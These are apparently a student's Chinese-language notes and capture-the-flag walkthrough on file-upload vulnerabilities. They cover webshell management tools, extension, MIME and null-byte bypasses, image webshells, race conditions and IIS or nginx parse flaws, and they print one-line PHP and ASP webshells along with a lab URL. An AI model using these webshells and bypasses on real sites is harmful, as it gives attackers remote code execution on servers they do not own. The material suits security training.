基础知识(一)(pass01-10)
文件上传
攻击点: 存在文件上传功能的点(头像、附件)
文件上传本身是网站开发中的一个常用功能。
允许用户上传任意文件时,此时认为是一个漏洞(任意文件上传漏洞)
文件上传漏洞:能上传后端文件;后端文件可以被正常执行
任意文件 : 一般特指网站后端代码,后端代码可以被解析。
webshell
shell: 用于控制系统,用户输入指令,系统对指令进行处理,并且返回结果给用户
webshell: 通过web程序,实现shell的功能
1, 接收用户传参
2, 将用户传参当成代码或者系统指令运行
3, 再将结果返回给用户
web开发语言:php、java、asp、jsp、python
webshell管理工具
菜刀:
直接安装使用
中国蚁剑
有两个文件夹:
AntSword-Loader-v4.0.3-win32-x64(加载器)
antSword-master(本体)
安装
打开加载器文件夹的exe文件 -> 初始化 -> 选择本体的目录 -> 重启安踏sword.exe
冰蝎和哥斯拉都是jar文件,都需要java环境(最低1.8),不能用一句话木马操作,需要使用对应的后门
冰蝎
后门在sever文件夹
shell.php中key的值是连接密码md5的前16位
md5加密网址:cmd5.com
再将文件上传到web的根目录下(www),在页面点击新增
哥斯拉
打开方式
1. 直接打开start.vbs(java版本为1.9之后)
2. 不知道
管理 -> 生成 -> 有效载荷(网站语言) -> 加密器(加密算法)
生成后门文件.php放到web根目录下 -> 目标 -> 添加 -> 测试连接
数据库管理点击DbInfoConfig
文件上传
文件上传的检测方式:
1. 前端检测(通过js规范用户的数据)
2. 后端检测
1. 文件类型
2. 文件后缀
3. 文件内容
前端检测
网站只做前端检测,不做后端检测。
通过burp抓包能否绕过js
绕过
直接禁用js
通过f12找到函数,可以将函数体改为return true;
后端检测
文件类型
请求头设置来确定文件类型(content-type)
文件上传的数据包格式是固定的
post传参格式:
x-www-form-urlencoded
application/json
application/xml
text/plain
文件上传格式:multipart/form-data
boundary=----WebKitFormBoundaryvjbVz69aibdTVxuS:文件起始分割
接收content-type后借助MIME识别文件类型
文件后缀
黑名单:禁止的内容
白名单:只允许文件中的后缀名进行上传(比黑名单更安全)
黑名单:检测绕过
1. 特殊后缀名绕过(php3,php4,php5,phtml)
黑名单中包含的是 常见的可执行文件的后缀名
2. .htaccess 分布式配置文件(给特定的目录设置特殊的规则)
将一些特殊的后缀文件当成php代码执行
例:
AddType application/x-httpd-php .jpg
设置文件类型,当遇到jpg这种文件后缀时,通过application/x-httpd-php的方式解析文件(application/x-httpd-php为php代码的处理格式)
3. 大小写(只有window系统时才适用)
4. 末尾空格绕过
末尾空格在后端代码中是正常存在的,并且有含义,但是保存文件时,末尾的空格会被操作系统删除
5. 末尾点绕过
末尾加点
再次访问时建议将点删除掉
6. 后缀名双写
网站把黑名单中的后缀名替换为空
例:pphphp => php
7. 通过分析代码的方式来实现绕过
::$DATA 针对 ntfs 文件流的特性
增加 ::$DATA
基础知识(二)(pass11-19)
很多waf/平台对自身的域名会设置白名单,不对其进行拦截
%00截断
有一个终止符%00(16进制),一般是move_uploaded_file()函数出现问题
get传参: 直接在url添加%00即可
post传参:在路径添加a,使用bp的hex模式将a的16进制改为00
图片马绕过
渲染图片,检测图片类型,图片内容都可以用图片马尝试绕过
图片+一句话木马 `copy 1.jpg/b+1.php 111.jpg`
将111.jpg后缀改为php即可使用一句话木马的参数
藏txt文件
将txt文件压缩,复制图片和压缩包成为一张图片,修改后缀为zip,即可看到txt文件的内容
二次渲染
可gif绕过,png绕过,上传文件时文件内容发生改变(一般选择gif文件)
二次渲染gif时不会渲染前几行代码,建议在第四行进行修改
如果上传文件后访问出现报错,说明此图片不适合做图片马
条件竞争
先上传还是先检测问题
先上传 => 在网站删除我们上传的文件之前访问到我们上传的文件 => 通过访问上传的文件让其写一个一句话木马文件
使用函数:file_put_contents('文件名','文件内容')
基础知识(三)(pass20-23)
IIS服务器漏洞
web容器可以对任意后缀进行解析(asa,cer,cdx)
IIS服务器 => 管理器 => 右键 => 属性
属性 => 主目录中本地路径类似于网站根目录
主目录 => 配置:扩展名和可执行文件路径
扩展名和可执行文件路径:对应关系(当他看到了某个扩展名,然后就去找这个扩展名对应的可执行文件路径)
例:
asp文件交给可执行文件执行(asp.dll)
动作限制为GET、HEAD:只有get和head会交给asp.dll处理
ASP的一句话木马
网址:https://www.cnblogs.com/xiaozi/p/7560907.html
例:
<%eval request("a")%>
如果网站检测类型较多,可尝试直接使用图片马
使用; . /截断
例:/aaa.jsp/xxx.jpg ,访问时需访问完整路径
名为a.asp的文件夹,无论在文件夹上传什么类型的文件,都会当成asp文件处理
IIS6.0三大漏洞
1. 配置错误 asa、cer、cdx
2. 分号截断
3. 文件夹名影响
CGI解析漏洞(在nginx存在)
在apache中不会产生
nginx默认以CGI的方式支持php解析,普遍做法是在nginx配置文件中通过正则匹配设SCRIPT_FILENAME(我没看懂啥意思)
例:www.xx.com/phpinfo.jpg/1.php -> php认为是php文件,所以就交给php解析,当php读取文件的时候,发现1.php文件并不存在,但是phpinfo.jpg存在,就会出现将jpg文件以php文件的格式解析(向上解析)
遇到php的网站,复制图片链接,直接在url添加/.php查看是否出现乱码
CGI漏洞不是nginx独有,IIS7.0、IIS7.5、Lighttpd等web容器中也经常会出现这样的漏洞
靶场题目
pass-01
根据题目提示,为前端验证绕过
或自己判断:尝试传输.php文件,并在文件内写入一句话木马
<?php eval($_REQUEST[9]);?>
尝试使用bp抓包,弹出弹窗且没有抓到数据包,判断为前端检测
直接禁用js,或者找到函数,并在控制台修改函数内容,此题采用第二种方法
发现判断函数为:checkFile()
修改函数checkFile()
function checkFile(){
return true;
}
绕过成功
可以复制图片的链接进行访问
如果想查看网站下的文件内容,可使用菜刀或其他软件进行连接后访问
pass-02
MIME类型:https://www.runoob.com/http/mime-types.html
根据题目提示,为content-type类型
在上传文件处上传.php文件,使用bp抓包,修改文件类型为jpg:
发送修改后的数据包,绕过成功
复制图片链接进行访问
pass-03
根据题目提示是黑名单绕过,可以上传不允许的文件查看有哪些文件不允许上传
使用bp抓包,修改后缀为php3
上传文件,绕过成功,此后就不进行验证了
pass-04
根据题目提示为.htaccess文件绕过
我们新建一个名为.htaccess的文件,写入内容,当遇到wsy这种文件后缀的时候,通过application/x-httpd-php的方式解析文件
上传.htaccess文件后将test.php文件改为php.wsy,上传.wsy文件,绕过成功
pass-05
根据题目提示为后缀大小写绕过,windows系统对大小写不敏感,上传文件,使用bp抓包,在bp内修改,并上传
绕过成功
pass-06
根据题目提示为文件后缀(空)绕过,通过bp修改文件名(在后缀多加几个空格)并绕过
绕过成功
pass-07
根据题目提示为文件后缀(点)绕过,通过bp修改文件名(在后缀多加几个点)并绕过
绕过成功,使用图片链接访问文件时,建议将点删除
pass-08
根据题目提示为::$DATA(Windows文件流绕过)
在后缀名种加::$DATA进行绕过
绕过成功,复制图片链接进行访问时将::$DATA删除
pass-09
根据题目提示需要构造文件后缀进行绕过
查看源码
载入文件后,先删除文件名末尾的点,再将字母全部转换为小写,再删除::$DATA,再删除空格
因为$DATA在前面已经转换为小写,所以可以不加
我们可以构造文件名:test.php. .
绕过成功
pass-10
根据题目提示为双写文件后缀绕过
bp抓包后,修改文件后缀为.pphphp
绕过成功
pass-11
题目提示为%00截断绕过,上传.php文件,使用bp抓包
发现传参方式为get传参且文件的保存路径为../upload
使用%00截断,修改上传路径和上传的文件名
复制图片链接访问时删除文件名后的其他东西
绕过成功
pass-12
根据题目提示为00截断,猜测可能为post传参
上传.php文件,使用bp抓包,传参不在url,为post传参
修改文件上传的路径,在文件后面多写一个字符,使用hex修改为00
绕过成功
pass-13
根据题目提示为图片马,创建一句话木马文件和随机一张图片
copy test.jpg/b+test.php 111.jpg
查看图片的二进制编码,一句话木马已被写入
上传图片后下载图片,查看图片的二进制编码
下载后的图片还存在一句话木马,绕过成功
pass-14
根据题目提示为getimagesize图片类型绕过,且题目白名单为gif、jpeg和png,本题尝试gif
复制一句话木马文件和gif文件为test1.gif文件
上传此文件,能正常上传
对文件进行下载,查看文件,没有损坏,绕过成功
pass-15
上传前一题生成的图片马,上传成功
下载后仍然含一句话木马,绕过成功
pass-16
根据题目提示为二次渲染绕过,可使用gif绕过或png绕过,gif比较容易,我们选择gif绕过
二次渲染gif不会渲染文件前面的几行代码,我们可以选择在第3,4行修改
此题我们选择从第四行开始修改
原图:
修改后查看文件是否显示正常
有点异常但问题不大
将文件上传后下载并查看内容,绕过成功
pass-17
根据题目提示为条件竞争绕过:当网站对上传的文件的处理为先上传后检测时,我们可以在网站删除上传文件之前让上传的文件新建一个文件,由于对网站跑的难度较大,我们自己搭建环境
新建文件的函数:
file_put_contents('文件名','文件内容')
在网站上传包含新建文件的木马文件:111.jpg文件,使用bp抓包,将上传的文件修改为111.php文件,并发送到intruder模块
访问将要写在upload文件夹下的111.php,使用bp抓包,发送到intruder模块
注意:对两个数据包同时操作,都选择sniper下的null payloads模式,访问文件的线程设置要高于上传文件的线程设置
得到上传的文件新建的文件:true.php
在网站访问一句话木马文件,绕过成功
pass-18
根据题目提示为条件竞争
(做不了)
pass-19
根据提示为move\_uploaded\_file()截断,也是00截断,上传图片马的照片,使用bp抓包,修改文件名
使用bp修改hex的值
绕过成功
![](
pass-20:IIS6.0解析漏洞(一)
分析源码,需要判断文件类型(content-type)的字段,也就是说上传jpg文件,使用bp抓包,修改文件后缀为asa,可以通过过滤
查看源码,发现可以上传asa文件后缀
在IIS服务器中,asa文件可以被当作asp解析,所以我们需要上传包含asp格式的一句话木马,我们选择第一句:
<%eval request("a")%>
将木马文件写入图片
上传文件,使用bp抓包,修改后缀为asa
得到上传文件的地址:./a/image/111.asa
先直接访问:http://59.63.166.75:8002/a/image/111.asa
得到一堆乱码,应该是成功了
直接使用工具连接,选择脚本类型为asp
直接查看同级目录下的flag文件,得到flag
提交flag,flag正确
pass-21:IIS6.0解析漏洞(二)
查看源码,发现只能通过图片类型的文件,可以使用符号截断
使用上一题的图片马,修改文件为111.asp;a.jpg,上传文件,得到文件路径,
直接使用菜刀连接
直接查看目录下的flag文件,得到flag:zKaQ-Y34Y2ets
提交成功
pass-22:IIS6.0解析漏洞(三)
通过分析源码,只能上传jpg文件后缀,但是服务器存在1.asp文件夹,上传到此文件夹的文件都能当作asp文件处理
上传第一题的带asp格式的一句话木马的图片,得到文件路径,直接使用菜刀连接
直接查看/c/image/a.asp/flag 文件,得到flag:zKaQ-Y1EHhm0O
提交成功:
pass-23:解析漏洞(四)
根据题目提示为CGI漏洞
例:读取www.xx.com/phpinfo.jpg/1.php 时,系统会认为是php文件,所以会交给php解析,当读取文件的时候,发现这个文件不存在,就会以php的格式向上解析phpinfo.jpg文件
直接上传一个含php一句话木马的图片马,
复制图片链接,在url栏拼接/.php,绕过成功,直接使用菜刀连接
得到flag:zKaQ-1Q2IO0SA
提交成功